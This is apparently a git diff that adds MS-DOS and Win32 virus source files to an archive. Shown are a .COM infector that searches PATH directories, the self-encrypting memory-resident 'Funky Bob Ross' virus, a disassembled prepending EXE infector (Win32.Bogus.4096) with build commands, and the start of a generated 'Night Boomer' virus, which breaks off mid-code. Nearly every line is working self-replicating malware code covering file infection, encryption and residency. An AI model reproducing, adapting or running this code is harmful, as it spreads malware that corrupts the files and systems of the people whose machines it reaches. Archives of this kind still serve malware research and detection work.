+ pop dx + pop cx + push dx + add dx, di + sub cx, di + push es + pop ds + mov ah, 3Fh + call dos + add ax, di + pop dx + pop es + pop di + pop si + retf 2 + + +hrnoti: pop ds ; perform normal read + pop dx + pop cx + pop es + pop di + pop si + mov ah, 3Fh + call dos + retf 2 + + + +getdta proc + push bx + mov ah, 2Fh ; Get dta + call dos + push es ; ds:si to dta + pop ds + mov si, bx + pop bx +getdta endp + + +fseek proc + mov ah, 42h + xor cx, cx + xor dx, dx + call dos + ret +fseek endp + + +getsft proc + push bx + mov ax, 1220h xor 666 + xor ax, 666 + int 2Fh + jc gsftexit + cmp byte ptr es:[di], 0FFh ; Invalid handle? + je gsftexit + + xor bx, bx ; Get sft address + mov bl, es:[di] ; sft to bx + mov ax, 1216h xor 666 + xor ax, 666 + int 2Fh + jc gsftexit ; ok? + push es + pop ds + mov si, di ; sft-address to ds:si + pop bx + clc + ret +gsftexit: + pop bx + stc + ret +getsft endp + + +dos proc + pushf + call dword ptr cs:o21 + ret +dos endp + +virend: +end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.bob.asm b/MSDOS/Virus.MSDOS.Unknown.bob.asm new file mode 100644 index 00000000..48c7774b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bob.asm @@ -0,0 +1,247 @@ + + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H +VCODE: JMP virus +v_start equ $ +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + MOV SI,0 +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + CMP AX,OFFSET virlen ;All bytes written? + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + MOV AH,3EH + INT 21H +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 +lst_byt EQU $ ;All lines that assemble into code are + ; above this one +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + CODE ENDS +END VCODE diff --git a/MSDOS/Virus.MSDOS.Unknown.bobvirus.asm b/MSDOS/Virus.MSDOS.Unknown.bobvirus.asm new file mode 100644 index 00000000..21bbebc2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bobvirus.asm @@ -0,0 +1,565 @@ +; The Funky Bob Ross Virus Version 1.0 +; Written by Dark Angel / 26 September 1991 / (c) 1991 +; PHALCON/SKISM Co-op +; Effective length: 1125, Resident length: 672 bytes +; +; DEDICATION: +; This virus was written expressedly to +; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the +; other guru-wanna-bes in this world. +; 2) Spread the message of The Almighty Bob, and so enrichen the lives +; of people all over the world. +; 3) Show off (Now I can tell people that I wrote a virus!) +; +; WHAT THIS IS: +; This is a self-encrypting, non-overwriting COM infector. It doesn't do +; anything to EXE files. File sizes increase by 1117 bytes. It goes off +; on July 9th of any year or after 7 infection "waves." +; +; WHAT IT DOES WHEN IT GOES OFF: +; The virus goes memory resident and prints out a Bobism every 5 minutes. +; It then enters a delay loop for approximately 5 seconds, allowing for a +; brief moment of silence while the victim reads Bob's holy message. The +; virus will not destroy anything. The virus will not go TSR if it finds +; another copy of itself in memory. +; +; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT. +; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE +; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO +; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE +; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I +; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE. +; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!! + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of Bob messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0709h ; Date of psychosis + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +;============================================================================= +;Part 2 begins: Dis is the D-Cool part +;============================================================================= +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +decrypt: +encrypt: + mov si, offset encrypt_val + add si, offset_off + mov ah, byte ptr [si] + + mov cx, offset part2_end - offset bam_bam + add si, offset bam_bam - offset encrypt_val + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Mah copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 +com_mask db '*.com',0 +dir_mask db '*.*',0 +back_dir db '..',0 +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + mov cx, part1_size + rep movsb + + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer + int 21h ; in orig_path + jc Go_Error + + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 07/09? + jz Go_Psycho ; If so, activate +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +;============================================================================= +;D-Traversal function begins +;============================================================================= +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ; *.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ; and changedir there + int 21h ;Yup, yup + jc short donext ; Do next if invalid + mov si, offset nest ; Else increment nest + add si, offset_off + inc word ptr [si] ; nest++ + call near ptr traverse_fcn ; recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA address + mov ah,1Ah ; and set DTA to it + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ; to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +;============================================================================= +;D-Traversal function ends +;============================================================================= + +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ; in order to + add si, offset_off ; halt the D-Cool + mov word ptr [si], 0 ; traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ; to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ; Find first file + mov cx, 0007h ; Any file + mov dx, offset com_mask ; DS:[DX] --> filemask + add dx, offset_off + int 21h ; Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ; I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ; Another loop, + add si, offset_off ; Another infection + dec byte ptr [si] ; Infected three? + jz enuff_for_now ; If so, exit +find_next_file: + mov ah,4Fh ; Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ; ??????D.COM? + jz find_next_file ; don't kill COMMAND.COM + + mov ax,3D00h ; Open channel read ONLY + mov dx, si ; Offset Pathname in DX + sub dx, 6 + int 21h ; Open NOW! + jc find_next_file ; If error, find another + + xchg bx,ax ; bx is now handle + mov ah,3Fh ; Save + mov cx, part1_size ; first part + mov dx, offset buffer ; to buffer + add dx, offset_off ; to be restored + push dx + int 21h ; later + + pop si ; Check for virus ID bytes + ; in the buffer + push si + lodsw ; DS:[SI] -> AX + cmp ax, virus_marker ; Compare it + jnz infect_it ; infect it if ID #1 not found + + lodsw ; Check next two bytes + cmp ax, virus_marker2 ; Compare it + jnz infect_it ; infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + jmp find_next_file ; 'cuz it's already infected + +Signature db 'PHALCON' + +;============================================================================= +;D-Good Stuff - Infection routine +;============================================================================= +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ; DS:[SI] -> ES:[DI] + movsw ; Save origtime + movsw ; Save origdate + movsw ; Save filesize + ; Only need LSW + ; because COM files + ; can only be up to + ; 65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ; is less than 8 bytes. + +do_again: + mov ah, 2Ch ; get time + int 21h + add dl, dh ; 1/100 sec + 1 sec + jz do_again ; Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ; 255 mutations + + mov ax, 4301h ; Set file attributes + xor cx, cx ; to nothing + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ; do it now, my child + + mov ah, 3Eh ; Close file + int 21h ; handle in BX + + mov ax, 3D02h ; Open file read/write + int 21h ; Filename offset in DX + jc bomb_out ; Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ; copy filehandle to + ; oldhandle + stosw ; AX -> ES:[DI] + xchg ax, bx ; file handle in BX now + + mov ah, 40h ; Write DS:[DX]->file + mov cx, part1_size - 4 ; number of bytes + mov dx, 0100h ; where code starts + int 21h ; (in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ; write jmp offset + + mov ax, [si] ; AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ; move file ptr + xor cx, cx ; from EOF + xor dx, dx ; offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ; Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ; old time and + add si, 2 + mov dx, word ptr [si] ; date + int 21h + + mov ah, 3Eh ; Close file + int 21h + + mov ax, 4301h ; Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ; attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ; do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ; Initialize fingerprint + xor bx, bx ; Zero BX for start + mov ax, cs +Init1: inc bx ; Increment search segment + mov es, bx ; value + cmp ax, bx ; Not installed if we reach + je Not_Installed_Yet ; the current segment + mov si, 100h ; Search segment for + mov di, si ; fingerprint in first + mov cx, 4 ; four bytes + repe cmpsb ; Compare + jne init1 ; If not equal, try another + jmp Quit_Init ; else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ; DS:[SI]->ES:[DI] + + mov ax, 3508h ; Get int 8 handler + int 21h ; put in ES:BX + + mov cs:[duh], bx ; Save old handler + mov cs:[duh+2], es ; in cs:[104h] + + mov ax, 2508h ; Install new handler + mov dx, Int_08_Start ; from DS:DX + int 21h ; Do it + + push es + mov ax, ds:[2Ch] ; Deallocate program + mov es, ax ; environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ; TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + int 21h + int 20h ; In case of error +Quit_Init: + pop es +Error: ; On error, quit +Quit: + mov ah, 3Bh ; Change directory + mov dx, offset root_dir ; to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ; Change directory + ; Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ; Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ; Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ; DS:SI -> AL + add si, ax ; ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ; Length of string + mov ax, 1300h ; + mov bx, 0070h ; Page 0, inverse video + xor dx, dx ; (0,0) + int 10h ; Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh + +Messages db 0 + db 15, 'Bob Ross lives!' + db 21, 'Bob Ross is watching!' + db 22, 'Maybe he lives here...' + db 26, 'What a happy little cloud!' + db 38, 'Maybe he has a neighbour right here...' + db 40, 'You can make up stories as you go along.' +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + diff --git a/MSDOS/Virus.MSDOS.Unknown.bogus.asm b/MSDOS/Virus.MSDOS.Unknown.bogus.asm new file mode 100644 index 00000000..8406e96e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bogus.asm @@ -0,0 +1,193 @@ +comment * + Win32.Bogus.4096 ▄█████▄ ▄█████▄ ▄█████▄ + Disassembly by ███ ███ ███ ███ ███ ███ + Darkman/29A ▄▄▄██▀ ▀██████ ███████ + ███▄▄▄▄ ▄▄▄▄███ ███ ███ + ███████ ██████▀ ███ ███ + + Win32.Bogus.4096 is a 4096 bytes runtime/direct action EXE virus. Infects + first file in current directory, when executed, by prepending the virus to + the original EXE file. + + Compile Win32.Bogus.4096 with Turbo Assembler v 5.0 by typing: + TASM32 /M /ML /Q BOGUS.ASM + TLINK32 -Tpe -c -x -aa -r BOGUS.OBJ,,, IMPORT32 +* + +.386 +.model flat +; KERNEL32.dll + extrn ExitProcess:proc + extrn FindFirstFileA:proc + extrn WinExec:proc + extrn _lclose:proc + extrn _llseek:proc + extrn _lopen:proc + extrn _lread:proc + extrn _lwrite:proc + extrn CopyFileA:proc + +.data +MAX_PATH equ 0ffh +FALSE equ 00h +OF_READWRITE equ 02h ; Opens the file for reading and + ; writing +SW_SHOW equ 05h ; Activates the window and displays it + ; in its current size and position + +FILETIME struct + dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of + ; the file time + dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of + ; the file time +FILETIME ends + +WIN32_FIND_DATA struct + dwFileAttributes DWORD ? ; Specifies the file attributes of the + ; file found + ftCreationTime FILETIME <> ; Specifies the time the file was + ; created + ftLastAccessTime FILETIME <> ; Specifies the time that the file was + ; last accessed + ftLastWriteTime FILETIME <> ; Specifies the time that the file was + ; last written to + nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value + ; of the file size, in bytes + nFileSizeLow DWORD ? ; Specifies the low-order DWORD value + ; of the file size, in bytes + dwReserved0 DWORD ? ; Reserved for future use + dwReserved1 DWORD ? ; Reserved for future use + cFileName BYTE MAX_PATH dup(?) + ; A null-terminated string that is the + ; name of the file + cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an + ; alternative name for the file +ends + +FindFileData WIN32_FIND_DATA <> +szFileName db '*.exe',00h ; Name of file to search for +szNewFileName db 'ZerNeboGus.exe',00h + ; Null-terminated string that + ; specifies the name of the new file +cBuffer db ? ; Buffer for read data, data to be + ; written +cBuffer_ db ? ; Buffer for read data, data to be + ; written + +.code +code_begin: + lea edi,[esp+10h] ; EDI = pointer to buffer for module + ; path + push edi ; EDI = pointer to buffer for module + ; path + repne scasb ; Find end of filename + mov byte ptr [edi-01h],'.' ; Store dot + pop edi ; EDI = pointer to buffer for module + ; path + + push offset FindFileData ; Address of returned information + push offset szFileName ; Address of name of file to search + ; for + call FindFirstFileA + + push FALSE ; If file already exists, overwrite it + push offset szNewFileName ; Address of filename to copy to + push edi ; Address of name of an existing file + call CopyFileA + + push OF_READWRITE ; Opens the file for reading and + ; writing + push offset FindFileData.cFileName + ; Address of name of file to open + call _lopen + mov esi,eax ; ESI = file handle + + push OF_READWRITE ; Opens the file for reading and + ; writing + push offset szNewFileName ; Address of filename to copy to + call _lopen + mov edi,eax ; EDI = file handle + + xor ebx,ebx ; Number of bytes read and written + mov ebp,0fffff000h ; Number of bytes to move through + ; source file +read_write_loop: + push 00h ; Position to move from + push ebx ; Number of bytes to move + push esi ; Pointer to destination filename + call _llseek + + push 01h ; Length, in bytes, of data buffer + push offset cBuffer ; Address of buffer for read data + push esi ; Pointer to destination filename + call _lread + + push 00h ; Position to move from + push ebx ; Number of bytes to move + push edi ; Pointer to source filename + call _llseek + + push 01h ; Length, in bytes, of data buffer + push offset cBuffer_ ; Address of buffer for read data + push edi ; Pointer to source filename + call _lread + + push 00h ; Position to move from + push ebx ; Number of bytes to move + push esi ; Pointer to destination filename + call _llseek + + push 01h ; Number of bytes to write + push offset cBuffer_ ; Address of buffer for data to be + ; written + push esi ; Pointer to destination filename + call _lwrite + + push 02h ; Position to move from + push 00h ; Number of bytes to move + push esi ; Pointer to destination filename + call _llseek + + push 01h ; Number of bytes to write + push offset cBuffer ; Address of buffer for data to be + ; written + push esi ; Pointer to destination filename + call _lwrite + + push 02h ; Position to move from + push ebp ; Number of bytes to move + push edi ; Pointer to source filename + call _llseek + + push 01h ; Length, in bytes, of data buffer + push offset cBuffer ; Address of buffer for read data + push edi ; Pointer to source filename + call _lread + + push 00h ; Position to move from + push ebx ; Number of bytes to move + push edi ; Pointer to source filename + call _llseek + + push 01h ; Number of bytes to write + push offset cBuffer ; Address of buffer for data to be + push edi ; Pointer to source filename + call _lwrite + + inc ebx ; Increase number of bytes read and + ; written + inc ebp ; Increase number of bytes to move + ; through source file + cmp bx,1000h ; Read and written all of the virus? + jne read_write_loop ; Not equal? Jump to read_write_loop + + push edi ; Handle of file to close + call _lclose + + push SW_SHOW ; Activates the window and displays it + ; in its current size and position + push offset szNewFileName ; Address of filename to copy to + call WinExec +code_end: + +end code_begin \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bomb.asm b/MSDOS/Virus.MSDOS.Unknown.bomb.asm new file mode 100644 index 00000000..f945f6c6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bomb.asm @@ -0,0 +1,353 @@ +; Virus generated by G¤ 0.70с +; G¤ written by Dark Angel of Phalcon/Skism + +; File: BOMB.ASM +; Night Boomer by (c) TNT + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'NB' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h,0037h ; xor word ptr [bx], xxxx +encryptvalue dw 0000h + add bx, 0002h + loop encrypt_loop +endencrypt: + mov bp, sp + int 0003h +next: + mov bp, ss:[bp-6] + sub bp, offset next + + push ds + push es + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ah, 004Ah ; alter memory allocation + mov bx, 0FFFFh ; of segment at ES + int 0021h + + sub bx, (endheap-start+15)/16+1 + mov ah, 004Ah ; alter memory allocation + int 0021h + jc done_install + sub word ptr ds:[0002h], (endheap-start+15)/16+1 + + mov ah, 0048h ; Allocate memory for the virus + mov bx, (endheap-start+15)/16 + int 0021h + jc done_install + + mov es, ax + dec ax + mov ds, ax ; Get MCB + + mov byte ptr ds:[0000h], 'Z' ; Mark end of chain + mov word ptr ds:[0001h], 0008h ; Mark owner = DOS + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + 